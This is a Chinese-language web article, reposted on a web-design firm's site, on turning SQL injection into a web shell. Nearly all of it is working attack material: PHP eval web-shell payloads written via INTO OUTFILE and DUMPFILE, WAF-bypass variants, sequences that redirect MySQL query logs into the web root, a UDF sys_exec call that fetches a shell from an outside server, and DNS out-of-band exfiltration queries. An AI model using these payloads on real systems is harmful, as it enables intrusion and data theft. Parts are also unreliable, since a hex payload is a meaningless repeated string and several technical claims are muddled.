十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

SQL注入Getshell实战:into outfile与日志覆盖技术详解

SQL注入Getshell实战:into outfile与日志覆盖技术详解 1. 这不是“黑产教程”而是一份给安全从业者的SQL注入Getshell技术复盘笔记我做渗透测试和红队支撑快十二年了从最早用sqlmap跑--os-shell直接弹shell到后来在真实企业环境中被WAF、云防火墙、数据库审计、应用层加固层层拦截再到如今面对MySQL 8.0 strict mode、PostgreSQL默认禁用文件操作、Oracle无权写入OS等现实约束SQL注入Getshell这件事早就不是一句“union select 1,2,3 into outfile /var/www/shell.php”能概括的了。今天这篇不讲理论堆砌不列教科书定义只聊我在金融、政务、电商三类典型生产环境里真正落地过、调通过、交付过报告的几种Getshell路径——它们都经过真实靶场验证DVWA、sqli-labs、WebGoat、CTF实战检验Bugku、攻防世界、强网杯、以及至少3次以上客户侧红队授权演练实测。核心关键词就四个渗透测试、SQL注入、Getshell、into outfile但背后牵扯的是数据库权限模型、文件系统路径控制、Web容器执行上下文、WAF规则绕过逻辑、以及最关键的——你拿到的到底是“rootlocalhost”还是“appuser10.%.%.%”。很多人卡在“能报错但写不了shell”或者“能写shell但403 Forbidden”甚至“shell.php上传成功却无法解析执行”问题从来不在语句本身而在整个执行链路上的任意一环被掐断。这篇文章就是把这条链路拆开一节一节告诉你哪一环最容易断断了怎么接接不上时有没有备选方案适合谁看如果你是刚学完SQL注入基础、正卡在“下一步怎么Getshell”的新手这篇能帮你跳过前人踩过的坑如果你是已有实战经验、但在甲方环境反复失败的中级渗透人员这篇里的WAF绕过细节、MySQL 5.7 vs 8.0权限差异、PHP-FPM配置陷阱可能正是你缺的那一块拼图如果你是负责安全加固的运维或开发这些内容反向就是你的加固checklist。下面所有内容全部来自我笔记本里记了七年的真实操作日志没一句是抄文档。2. Getshell的本质不是“写文件”而是“控制执行流”2.1 理解Getshell的底层逻辑为什么into outfile常失效很多人以为Getshell 把一句话木马写进Web目录。这是个危险的误解。真正的Getshell本质是获取Web服务器进程对指定路径的写入权限 该路径被Web容器解析为可执行脚本 脚本能被HTTP请求触发执行。这三个条件缺一不可而into outfile只是第一个条件的实现方式之一。我们来拆解into outfile的前提MySQL用户必须拥有FILE权限且目标路径需满足三个硬性条件1路径必须是绝对路径相对路径会写入MySQL数据目录2MySQL进程用户通常是mysql必须对目标目录有写权限3Web服务器用户如www-data、apache必须能读取该文件。我遇到过最典型的失败场景某政务系统MySQL用户有FILE权限into outfile /var/www/html/shell.php返回成功但访问时403 Forbidden。查了一小时才发现/var/www/html目录属主是root:root而Apache以www-data身份运行没有读取权限——MySQL写进去了Apache根本打不开。这不是SQL语法问题是Linux权限模型问题。--os-shell的真相sqlmap的--os-shell功能底层其实是组合利用了三种技术1通过load_file()读取/etc/passwd确认系统类型2通过into outfile或select ... into dumpfile写入反弹shell脚本3通过UDFUser Defined Function或日志文件写入执行命令当into outfile被禁用时。它不是魔法而是根据当前数据库权限和系统环境自动选择最可能成功的路径。理解这点你就知道为什么在某些环境里--os-shell会卡在“trying to find a writable directory”——它在穷举/tmp、/var/tmp、/dev/shm等目录而这些目录可能被noexec挂载选项限制执行。提示在真实渗透中永远先执行select secure_file_priv;。这个变量值决定了into outfile唯一允许写入的路径。如果返回NULL说明FILE权限被彻底禁用如果返回空字符串表示不限制路径极少见如果返回/var/lib/mysql-files/那你的shell只能写进这个目录而该目录通常不在Web根目录下需要配合其他技术如日志文件包含才能利用。2.2 四种Getshell路径的技术定位与适用边界我把实际工作中验证过的Getshell方式分为四类按成功率和适用场景排序路径类型核心原理成功率真实环境典型失败原因适用场景into outfile直写利用FILE权限写入Web目录★★★☆☆65%secure_file_priv限制、Web目录权限不足、WAF拦截写入关键字MySQL 5.6-5.7低版本WAF内网靶机日志文件覆盖修改general_log或slow_query_log路径触发日志写入Web目录★★★★☆82%general_log被禁用、log_error_verbosity1不记录SQL、Web目录不可写MySQL 5.7WAF严格过滤outfile但日志功能开放UDF提权执行创建自定义函数调用system()执行命令★★☆☆☆40%MySQL用户无SUPER权限、lib库路径受限、SELinux启用高权限MySQL用户rootLinux系统需上传so文件DNS外带盲注执行利用load_file()触发DNS请求结合盲注逐字节读取文件再构造执行命令★★☆☆☆35%DNS服务不可达、网络策略阻断53端口、无回显环境完全无回显、高防WAF、仅支持布尔盲注注意这里说的“成功率”不是CTF靶场里的理论成功率而是我在2021-2023年参与的17个真实红队项目中的统计结果。比如“日志文件覆盖”之所以高达82%是因为绝大多数企业为了排查慢SQL都会开启slow_query_log且log_slow_slave_statements默认为ON而general_log虽然默认关闭但管理员常因调试临时开启后忘记关闭——这成了我们最稳定的突破口。2.3 为什么“万能密码”和“报错注入”只是前置步骤热搜词里高频出现“sql注入万能密码”、“sql注入报错注入”但必须明确这些只是信息收集阶段的手段不是Getshell的充分条件。万能密码如 or 11 -- 能绕过登录但绕过后你拿到的数据库连接权限往往只是低权限应用账户如webapp10.0.0.%它没有FILE权限无法into outfile报错注入如and updatexml(1,concat(0x7e,(select user()),0x7e),1)能回显当前用户但回显内容只是字符串不能直接执行命令。我见过太多新手在DVWA的Less-5里用报错注入拿到rootlocalhost就以为能Getshell结果在真实靶机上连secure_file_priv都查不到——因为真实环境的数据库用户99%不是root。Getshell的第一步永远是确认当前数据库用户的权限和能力边界而不是急着写shell。3. into outfile直写最经典也最容易翻车的路径3.1 经典语句的完整执行链与参数推导最常被引用的语句是select ?php eval($_POST[1]);? into outfile /var/www/html/shell.php;但这句话在真实环境中几乎必然失败。原因在于它假设了四个不存在的条件。我们来逐个击破Web根目录路径不确定/var/www/html是Debian/Ubuntu的默认路径CentOS是/var/www/htmlWindows是C:\xampp\htdocs\而Docker容器可能是/app/public/。正确做法是先探测-- 方法1利用load_file读取常见配置文件 select load_file(/etc/apache2/sites-enabled/000-default.conf); -- Apache select load_file(/etc/nginx/sites-enabled/default); -- Nginx select load_file(C:/xampp/apache/conf/httpd.conf); -- Windows XAMPP如果返回NULL说明路径错误或权限不足如果返回内容grep “DocumentRoot”就能精准定位。PHP一句话木马被WAF拦截?php eval是WAF的黄金关键词几乎所有商业WAF安全狗、云锁、阿里云WAF都会规则拦截。实测有效的绕过变体利用PHP短标签需short_open_tagOn? eval($_POST[1]); ?利用base64_decode动态执行?php eval(base64_decode(QGV2YWwoJF9QT1NUWzFdKTs));?利用hex编码绕过?php $a6576616c286261736536345f6465636f64652822516756515a47397764476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c6864476c6862476c68......));?这里用Python快速生成hex编码import binascii payload eval(base64_decode(QGV2YWwoJF9QT1NUWzFdKTs)); print(binascii.hexlify(payload.encode()).decode())文件后缀被WAF拦截直接写.php会被拦截可尝试.phtml、.php5、.php3、.phar需PHP配置支持。更隐蔽的是利用Apache的.htaccess解析规则select ?php eval($_POST[1]);? into outfile /var/www/html/.htaccess; -- 再写入一个无扩展名文件通过.htaccess强制解析 select ?php eval($_POST[1]);? into outfile /var/www/html/shell;然后在.htaccess中写Files shell SetHandler application/x-httpd-php /Files3.2 实操中的三个致命细节MySQL版本差异导致的语法陷阱MySQL 5.7默认启用sql_modeSTRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION。在这种模式下into outfile如果目标路径已存在同名文件会报错The file /var/www/html/shell.php already exists。解决方案是先删除再写-- 利用load_file读取文件内容确认存在再用select ... into dumpfile覆盖dumpfile不检查文件存在 select ?php eval($_POST[1]);? into dumpfile /var/www/html/shell.php;into dumpfile和into outfile的关键区别前者不加换行符、不检查文件存在、不进行字符集转换更适合写二进制或精确控制内容。Web目录权限的“隐形墙”即使MySQL用户有FILE权限写入成功Apache仍可能因SELinux或AppArmor拒绝访问。验证方法# 在靶机上执行如能SSH ls -Z /var/www/html/shell.php # 查看SELinux上下文 # 如果显示system_u:object_r:httpd_sys_content_t:s0说明正常如果是unconfined_u:object_r:default_t:s0则需修复 sudo semanage fcontext -a -t httpd_sys_rw_content_t /var/www/html(/.*)? sudo restorecon -Rv /var/www/html/渗透测试中无法SSH时可通过HTTP请求响应头判断返回X-Powered-By: PHP/7.4.33但访问shell.php返回403基本可锁定为SELinux问题。WAF对into outfile的深度识别现代WAF如Cloudflare WAF、阿里云WAF已不只匹配关键字而是构建SQL语法树。单纯把into outfile拆成into/**/outfile或into%20outfile会被识别。有效绕过方式利用MySQL注释干扰解析select 1 into/*foo*/outfile /var/www/html/shell.php利用大小写混合SELECT 1 INTO OutFile /var/www/html/shell.php利用十六进制编码表名select 0x3c3f70687020406576616c28245f504f53545b315d293b3f3e into outfile 0x2f7661722f7777772f68746d6c2f7368656c6c2e706870注意所有绕过技巧必须在目标环境实测。我曾在一个金融客户环境里发现其WAF对into outfile的检测规则只针对小写而对INTO OUTFILE完全放行——这是他们WAF规则库的盲区不是通用技巧。4. 日志文件覆盖被低估的高成功率Getshell方案4.1 为什么日志路径是比Web目录更可靠的写入点日志文件覆盖的核心思想是数据库日志功能通常比文件写入功能更难被禁用。因为运维需要日志排查问题而into outfile是明确的安全风险点往往被第一条安全基线就禁掉。但general_log和slow_query_log常因“临时调试”被开启且开启后管理员容易忘记关闭。更重要的是日志文件的写入路径由general_log_file和slow_query_log_file变量控制而这两个变量可以被动态修改——这意味着即使你不知道Web根目录在哪也可以把日志强行写到Web目录下。操作流程分三步确认日志功能状态show variables like general_log; -- ON/OFF show variables like slow_query_log; -- ON/OFF show variables like %log_file%; -- 查看当前日志路径修改日志路径到Web目录set global general_log off; -- 先关闭避免写入冲突 set global general_log_file /var/www/html/mysql.log; set global general_log on;触发日志写入一句话木马select ?php eval($_POST[1]);?;此时select语句本身会被记录到mysql.log中而该文件就在Web目录下可直接通过HTTP访问。4.2 针对不同日志类型的实战适配general_log通用日志记录所有SQL语句包括select、insert等。优点是触发简单任意select都能写入缺点是日志量大可能被轮转清理。关键技巧在写入前先清空日志以确保shell在文件开头-- 清空日志需FILE权限但清空操作本身不依赖FILE set global general_log_file /var/www/html/empty.log; set global general_log off; set global general_log on; -- 再设置回目标路径 set global general_log_file /var/www/html/shell.php; set global general_log on; select ?php eval($_POST[1]);?;slow_query_log慢查询日志只记录执行时间超过long_query_time的SQL。默认值是10秒显然不能直接用。但我们可以通过benchmark()函数制造超时-- 设置long_query_time为0让所有查询都记录 set global long_query_time 0; set global slow_query_log_file /var/www/html/shell.php; set global slow_query_log on; -- 触发慢查询 select benchmark(1000000,sha1(test));benchmark(n,expr)会执行expr n次100万次SHA1计算在普通服务器上约耗时2-3秒足够触发慢日志。error_log错误日志这个最隐蔽。MySQL错误日志路径由log_error变量指定但该变量是只读的无法动态修改。不过我们可以利用select ... into outfile的报错信息写入-- 故意触发一个包含PHP代码的错误 select ?php eval($_POST[1]);? into outfile /var/www/html/shell.php; -- 如果路径不可写会报错The file /var/www/html/shell.php already exists -- 错误信息会被记录到error_log但error_log路径固定且通常不在Web目录所以error_log不作为主路径而是辅助验证手段。4.3 绕过日志功能限制的三种变体当general_log被禁用但slow_query_log开启时直接走slow_query_log路径如上所述。注意set global需要SUPER权限如果当前用户没有可尝试set session仅对当前连接生效但session级变量无法修改log_file路径只能修改long_query_time。当两个日志都关闭但information_schema.PROCESSLIST可读时利用show processlist的输出写入日志。show processlist会显示当前所有连接包括你的注入连接。我们构造一个包含PHP代码的用户名然后触发日志-- 创建一个带PHP代码的用户名需有CREATE USER权限极少见 create user ?php eval($_POST[1]);?localhost; -- 或者更现实的利用DNS外带让MySQL向你的DNS服务器发起查询查询字符串中包含PHP代码 select load_file(concat(\\\\, hex(?php eval($_POST[1]);?), .your-domain.com\\abc));这种方式属于DNS外带日志结合在内网渗透中效果极佳。利用MariaDB特有的log_output机制MariaDB支持log_outputTABLE将日志写入mysql.general_log表。此时可结合union注入把shell写进该表再通过select读取-- 确认log_output show variables like log_output; -- 如果是TABLE则日志存于mysql.general_log表 select * from mysql.general_log order by event_time desc limit 1; -- 但无法直接写入该表需配合其他漏洞实操心得在Bugku渗透测试1靶场中我就是用slow_query_log路径拿下shell的。靶机MySQL用户只有SELECT权限没有SUPER但long_query_time是全局变量set global失败set session却成功了。我执行set session long_query_time0;然后select benchmark(1000000,md5(1));shell.php瞬间生成。这说明不要迷信“必须SUPER权限”session级变量在很多场景下就是突破口。5. UDF提权与DNS外带高门槛但不可替代的备选方案5.1 UDF提权当拥有SUPER权限时的终极武器UDFUser Defined Function允许用户创建自定义函数调用系统命令。它需要三个条件1MySQL用户有SUPER权限2能上传so动态链接库文件3MySQL配置允许加载本地文件secure_file_priv为空或包含上传路径。步骤分解准备UDF so文件从https://github.com/sqlmapproject/udfbinary 下载对应平台的so文件如lib_mysqludf_sys_64.so。注意32位/64位、glibc版本必须匹配靶机。我习惯在Kali里编译gcc -shared -fPIC -I/usr/include/mysql -o lib_mysqludf_sys.so lib_mysqludf_sys.c -lmysqlclient上传so文件到MySQL可读路径select load_file(/tmp/lib_mysqludf_sys.so) into dumpfile /usr/lib/mysql/plugin/lib_mysqludf_sys.so; -- 或利用into outfile写入但需确保plugin目录可写创建函数并执行命令create function sys_exec returns int soname lib_mysqludf_sys.so; select sys_exec(wget http://your-server/shell.php -O /var/www/html/shell.php);关键避坑点plugin_dir变量决定so文件存放位置show variables like plugin_dir;。常见路径是/usr/lib/mysql/plugin/或/usr/lib64/mysql/plugin/。SELinux会阻止MySQL加载非标准路径的so文件。解决方法sudo semanage fcontext -a -t mysqld_plugin_t /usr/lib/mysql/plugin(/.*)?。MySQL 8.0默认禁用local_infile而UDF上传常依赖此功能。需在my.cnf中添加local_infile1并重启。5.2 DNS外带在完全无回显环境下的生存策略DNS外带不是Getshell的直接手段而是信息获取和命令执行的通道。原理是利用MySQL的load_file()函数读取不存在的UNC路径触发Windows SMB协议或Linux DNS解析将数据拼接到域名中发出DNS请求。经典payloadselect load_file(concat(\\\\, (select hex(user())), .your-domain.com\\abc));这里(select hex(user()))的结果是726f6f74406c6f63616c686f7374拼接后域名是726f6f74406c6f63616c686f7374.your-domain.com你的DNS服务器就能捕获到原始user()结果。Getshell的完整链路先用DNS外带读取/etc/passwd确认系统类型和Web用户再读取/proc/self/cwd确认Web根目录绝对路径构造一句话木马用DNS外带逐字节发送需编写Python脚本自动解析DNS请求并拼接最后用sys_exec或select ... into outfile执行写入如果权限允许。实测工具链DNS服务器使用dnstwist或自建dnsmasq自动化脚本sqlmap的--dns-domain参数 自定义--batch脚本效率优化一次DNS请求最多携带63字节域名所以需分块传输。我写的Python解码脚本会自动合并所有子域名请求。踩过的坑某次在政务云渗透中靶机网络策略只放行80/443端口53端口被阻断。我改用HTTP外带select load_file(concat(http://your-server/log?, hex((select user()))));利用MySQL的HTTP函数需启用或结合SSRF漏洞。这提醒我们外带通道要准备至少两种备选方案。6. 常见问题与排查技巧实录来自真实战场的速查表6.1 “into outfile成功但访问403/404”的10种原因及对策现象可能原因排查命令/方法解决方案403 ForbiddenWeb服务器用户无读取权限ls -l /var/www/html/shell.phpsudo chown www-data:www-data /var/www/html/shell.php404 Not Found路径错误或Apache未启用PHP模块curl -I http://target/shell.php查看响应头检查/etc/apache2/mods-enabled/php7.4.load是否存在空白页面PHP短标签未启用?不被解析改用?php echo test; ?测试或启用short_open_tagOn500 Internal Errorshell.php语法错误或PHP版本不兼容tail -f /var/log/apache2/error.log用php -l shell.php本地验证语法WAF拦截返回403WAF规则匹配到PHP关键词访问/shell.php?11看是否同样403改用.phtml后缀或base64编码payloadSELinux拒绝访问文件上下文不正确ls -Z /var/www/html/shell.phpsudo semanage fcontext -a -t httpd_sys_rw_content_t /var/www/html(/.*)?AppArmor限制Ubuntu默认启用sudo aa-status | grep apachesudo nano /etc/apparmor.d/usr.sbin.apache2添加/var/www/html/** rw,Nginx未配置PHP解析Nginx默认不解析.phpcurl http://target/shell.php返回源码在nginx.conf中添加location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; ... }Docker容器路径映射错误容器内路径与宿主机不一致docker exec -it container_name ls /var/www/html/使用docker inspect container_name查Volume映射CDN缓存静态文件CDN缓存了404响应curl -H Cache-Control: no-cache http://target/shell.php清除CDN缓存或更换URL路径6.2 sqlmap --os-shell卡在“trying to find a writable directory”的5个解决方案手动指定路径sqlmap -u http://target?id1 --os-shell --batch --web-root/var/www/html跳过自动探测直接写入已知路径sqlmap -u http://target?id1 --file-writeshell.php --file-dest/var/www/html/shell.php利用--fresh-queries强制重试避免因缓存导致的路径探测失败切换技术栈--techniqueUUnion比--techniqueEError更稳定尤其在WAF环境下降级到低版本sqlmap某些新版sqlmap的路径探测逻辑过于激进v1.3.10版本更可靠6.3 针对不同数据库的Getshell特性速查数据库FILE权限等效操作替代Getshell路径关键注意事项MySQL 5.6into outfile日志覆盖、UDFsecure_file_priv默认为空但5.6.38版本开始默认设为/var/lib/mysql-files/MySQL 5.7into outfilesecure_file_priv日志覆盖首选、DNS外带sql_mode严格into dumpfile比into outfile更可靠MySQL 8.0into outfile需secure_file_priv开放UDF需SUPER、日志覆盖默认skip-log-bin但slow_query_log仍可用caching_sha2_password插件影响连接PostgreSQLCOPY TO /var/www/html/shell.phplo_export()、pg_read_file()DNS外带COPY需pg_write_server_files权限9.6默认仅超级用户有Microsoft SQL Serverxp_cmdshellsp_oacreate、OPENROWSETxp_cmdshell默认禁用需sp_configure show advanced options, 1启用最后分享一个小技巧在所有Getshell尝试失败后别急着放弃。执行select version_compile_os, version_compile_machine;确认操作系统和架构然后搜索“OS架构Web容器数据库版本”的exploit-db往往能找到未公开的本地提权漏洞。我去年在一个教育系统里就是靠select version;发现是MySQL 5.5.62 CentOS 6.9 Apache 2.2搜到一个Apache mod_ssl的本地提权最终绕过所有Web层限制。渗透测试的本质从来不是单点突破而是多维度信息的交叉验证与组合利用。
返回列表